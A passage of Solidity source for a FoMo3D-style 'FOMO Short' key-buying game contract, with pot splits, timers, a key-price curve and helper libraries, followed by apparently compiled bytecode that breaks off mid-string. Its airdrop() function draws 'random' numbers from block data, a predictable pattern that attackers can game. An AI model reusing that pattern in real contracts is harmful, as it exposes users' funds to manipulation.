uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 3% out to community rewards
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcShort {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
/**
* @title -Name Filter- v0.1.9
* ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
* │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
* ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
* _____ _____
* (, / /) /) /) (, / /) /)
* ┌─┐ / _ (/_ // // / _ // _ __ _(/
* ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_
* ┴ ┴ / / .-/ _____ (__ /
* (__ / (_/ (, / /)™
* / __ __ __ __ _ __ __ _ _/_ _ _(/
* ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_
* ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018
* ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/
* _ __ _ ____ ____ _ _ _____ ____ ___
*=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============*
*=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============*
*
* ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐
* ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │
* ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0x6080604052600436106101c15763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461035f57806306fdde0314610386578063079ce327146104105780630f15f4c01461043057806310f01eba1461044557806311a09ae71461046657806324c33d331461047b5780632660316e146104f25780632ce21999146105215780632e19ebdc14610552578063349cdcac1461056a5780633ccfd60b146105885780633ddd46981461059d57806349cc635d146105f95780635893d48114610623578063624ae5c01461063e5780636306643414610653578063685ffd8314610689578063747dff42146106dc57806382bfc739146107675780638f38f3091461078e5780638f7140ea1461079c578063921dec21146107b757806395d89b411461038657806398a0871d1461080a578063a2bccae914610821578063a65b37a114610862578063c519500e14610870578063c7e284b814610888578063ce89c80c1461089d578063cf808000146108b8578063d53b2679146108d0578063d87574e0146108e5578063de7874f3146108fa578063ed78cf4a14610954578063ee0b5d8b1461095c575b6101c96150f4565b600f5460009060ff16151560011461022d576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b8015610274576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b34633b9aca008110156102cc576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561031c576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b610325856109b5565b33600090815260066020818152604080842054808552600890925290922001549196509450610358908590600288610c69565b5050505050005b34801561036b57600080fd5b50610374610ea3565b60408051918252519081900360200190f35b34801561039257600080fd5b5061039b610f68565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d55781810151838201526020016103bd565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061042e600435602435604435610f9f565b005b34801561043c57600080fd5b5061042e6111ab565b34801561045157600080fd5b50610374600160a060020a03600435166112de565b34801561047257600080fd5b506103746112f0565b34801561048757600080fd5b506104936004356112f6565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b3480156104fe57600080fd5b5061050d600435602435611359565b604080519115158252519081900360200190f35b34801561052d57600080fd5b50610539600435611379565b6040805192835260208301919091528051918290030190f35b34801561055e57600080fd5b50610374600435611392565b34801561057657600080fd5b5061042e6004356024356044356113a4565b34801561059457600080fd5b5061042e61158a565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050600160a060020a0385351695505050505060200135151561190b565b34801561060557600080fd5b5061042e600435600160a060020a0360243516604435606435611ac4565b34801561062f57600080fd5b50610374600435602435611cb5565b34801561064a57600080fd5b50610374611cd2565b34801561065f57600080fd5b5061066b600435611cd8565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f810184900484028501840190955284845261042e943694929360249392840191908190840183828082843750949750508435955050505050602001351515611e7e565b3480156106e857600080fd5b506106f1611f5e565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561077357600080fd5b5061042e600160a060020a036004351660243560443561215c565b61042e600435602435612356565b3480156107a857600080fd5b5061042e60043560243561253d565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050843595505050505060200135151561261a565b61042e600160a060020a03600435166024356126fa565b34801561082d57600080fd5b5061083c60043560243561290f565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61042e600435602435612941565b34801561087c57600080fd5b50610539600435612b3e565b34801561089457600080fd5b50610374612b57565b3480156108a957600080fd5b50610374600435602435612be6565b3480156108c457600080fd5b50610374600435612c8e565b3480156108dc57600080fd5b5061050d612d40565b3480156108f157600080fd5b50610374612d49565b34801561090657600080fd5b50610912600435612d4f565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b61042e612d96565b34801561096857600080fd5b5061097d600160a060020a0360043516612e13565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6109bd6150f4565b336000908152600660205260408120549080821515610c6057604080517fe56556a90000000000000000000000000000000000000000000000000000000081523360048201529051734f29f33530cfa4a9f10e1a83ca4063ce96df71499163e56556a99160248083019260209291908290030181600087803b158015610a4257600080fd5b505af1158015610a56573d6000803e3d6000fd5b505050506040513d6020811015610a6c57600080fd5b5051604080517f82e37b2c000000000000000000000000000000000000000000000000000000008152600481018390529051919450734f29f33530cfa4a9f10e1a83ca4063ce96df7149916382e37b2c916024808201926020929091908290030181600087803b158015610adf57600080fd5b505af1158015610af3573d6000803e3d6000fd5b505050506040513d6020811015610b0957600080fd5b5051604080517fe3c08adf000000000000000000000000000000000000000000000000000000008152600481018690529051919350734f29f33530cfa4a9f10e1a83ca4063ce96df71499163e3c08adf916024808201926020929091908290030181600087803b158015610b7c57600080fd5b505af1158015610b90573d6000803e3d6000fd5b505050506040513d6020811015610ba657600080fd5b505133600081815260066020908152604080832088905587835260089091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610c2f576000828152600760209081526040808320869055858352600882528083206001908101869055600a8352818420868552909252909120805460ff191690911790555b8015801590610c3e5750828114155b15610c585760008381526008602052604090206006018190555b845160010185525b50929392505050565b6005546002546000828152600b602052604090206004015442910181118015610cd457506000828152600b602052604090206002015481111580610cd457506000828152600b602052604090206002015481118015610cd457506000828152600b6020526040902054155b15610cec57610ce7828734888888612ee8565b610e9b565b6000828152600b602052604090206002015481118015610d1e57506000828152600b602052604090206003015460ff16155b15610e66576000828152600b60205260409020600301805460ff19166001179055610d4883613439565b925080670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a3360086000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b600086815260086020526040902060030154610e88903463ffffffff61381c16565b6000878152600860205260409020600301555b505050505050565b6005546002546000828152600b602052604081206004015490929142910181118015610f1157506000828152600b602052604090206002015481111580610f1157506000828152600b602052604090206002015481118015610f1157506000828152600b6020526040902054155b15610f59576000828152600b6020526040902060050154610f5290670de0b6b3a764000090610f46908263ffffffff61381c16565b9063ffffffff61387d16565b9250610f63565b6544364c5bb00092505b505090565b60408051808201909152600881527f46334453484f5254000000000000000000000000000000000000000000000000602082015281565b610fa76150f4565b600f54600090819060ff16151560011461100d576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b8015611054576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b85633b9aca008110156110ac576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156110fc576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b33600090815260066020526040902054945088158061112b575060008581526008602052604090206001015489145b15611149576000858152600860205260409020600601549350611188565b60008981526007602090815260408083205488845260089092529091206006015490945084146111885760008581526008602052604090206006018490555b611191886138aa565b97506111a085858a8a8a6138cf565b505050505050505050565b600054600160a060020a0316331461120d576040805160e560020a62461bcd02815260206004820152601760248201527f6f6e6c792061646d696e2063616e206163746976617465000000000000000000604482015290519081900360640190fd5b600f5460ff1615611268576040805160e560020a62461bcd02815260206004820152601c60248201527f464f4d4f2053686f727420616c72656164792061637469766174656400000000604482015290519081900360640190fd5b600f805460ff1916600190811790915560058190556002548154600092909252600b602052429091019081037f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d3556109d8017f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d155565b60066020526000908152604090205481565b60045481565b600b60208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b01549a909b0154989a9799969860ff90961697949693959294919390928c565b600a60209081526000928352604080842090915290825290205460ff1681565b600d602052600090815260409020805460019091015482565b60076020526000908152604090205481565b6113ac6150f4565b600f5460009060ff161515600114611410576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b8015611457576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b84633b9aca008110156114af576040805160e560020a62461bcd028152602060048201526021602482015260008051602061516e833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156114ff576040805160e560020a62461bcd02815260206004820152600e60248201526000805160206151ae833981519152604482015290519081900360640190fd5b33600090815260066020526040902054935087158061151d57508388145b1561153b576000848152600860205260409020600601549750611568565b60008481526008602052604090206006015488146115685760008481526008602052604090206006018890555b611571876138aa565b965061158084898989896138cf565b5050505050505050565b6000806000806115986150f4565b600f5460ff1615156001146115f9576040805160e560020a62461bcd028152602060048201526029602482015260008051602061518e833981519152604482015260008051602061514e833981519152606482015290519081900360840190fd5b33803b8015611640576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b60055433600090815260066020908152604080832054848452600b9092529091206002015491985042975095508611801561168d57506000878152600b602052604090206003015460ff16155b80156116a657506000878152600b602052604090205415155b1561184c576000878152600b60205260409020600301805460ff191660011790556116d083613439565b92506116db85613aeb565b9350600084111561172c57600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f1935050505015801561172a573d6000803e3d6000fd5b505b85670de0b6b3a764000002836000015101836000018181525050848360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc3360086000888152602001908152602001600020600101548686600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a1611902565b61185585613aeb565b935060008411156118a657600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f193505050501580156118a4573d6000803e3d6000fd5b505b6000858152600860209081526040918290206001015482513381529182015280820186905260608101889052905186917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050565b6000808080808033803b8015611959576040805160e560020a62461bcd02815260206004820152601160248201526000805160206151ce833981519152604482015290519081900360640190fd5b6119628b613b72565b604080517faa4d490b000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052600160a060020a038e1660448301528c151560648301528251939b509950349850734f29f33530cfa4a9f10e1a83ca4063ce96df71499263aa4d490b928a926084808201939182900301818588803b1580156119f357600080fd5b505af1158015611a07573d6000803e3d6000fd5b50505050506040513d6040811015611a1e57600080fd5b508051602091820151600160a060020a03808b1660008181526006865260408082205485835260088852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b33734f29f33530cfa4a9f10e1a83ca4063ce96df714914611b55576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600660205260409020548414611b9057600160a060020a03831660009081526006602052604090208490555b6000828152600760205260409020548414611bb75760008281526007602052604090208490555b600084815260086020526040902054600160a060020a03848116911614611c0d576000848152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b6000848152600860205260409020600101548214611c3a5760008481526008602052604090206001018290555b6000848152600860205260409020600601548114611c675760008481526008602052604090206006018190555b6000848152600a6020908152604080832085845290915290205460ff161515611caf576000848152600a602090815260408083208584529091529020805460ff191660011790555b50505050565b600c60209081526000928352604080842090915290825290205481565b60055481565b6005546000818152600b60205260408120600201549091829182919042118015611d1457506000818152600b602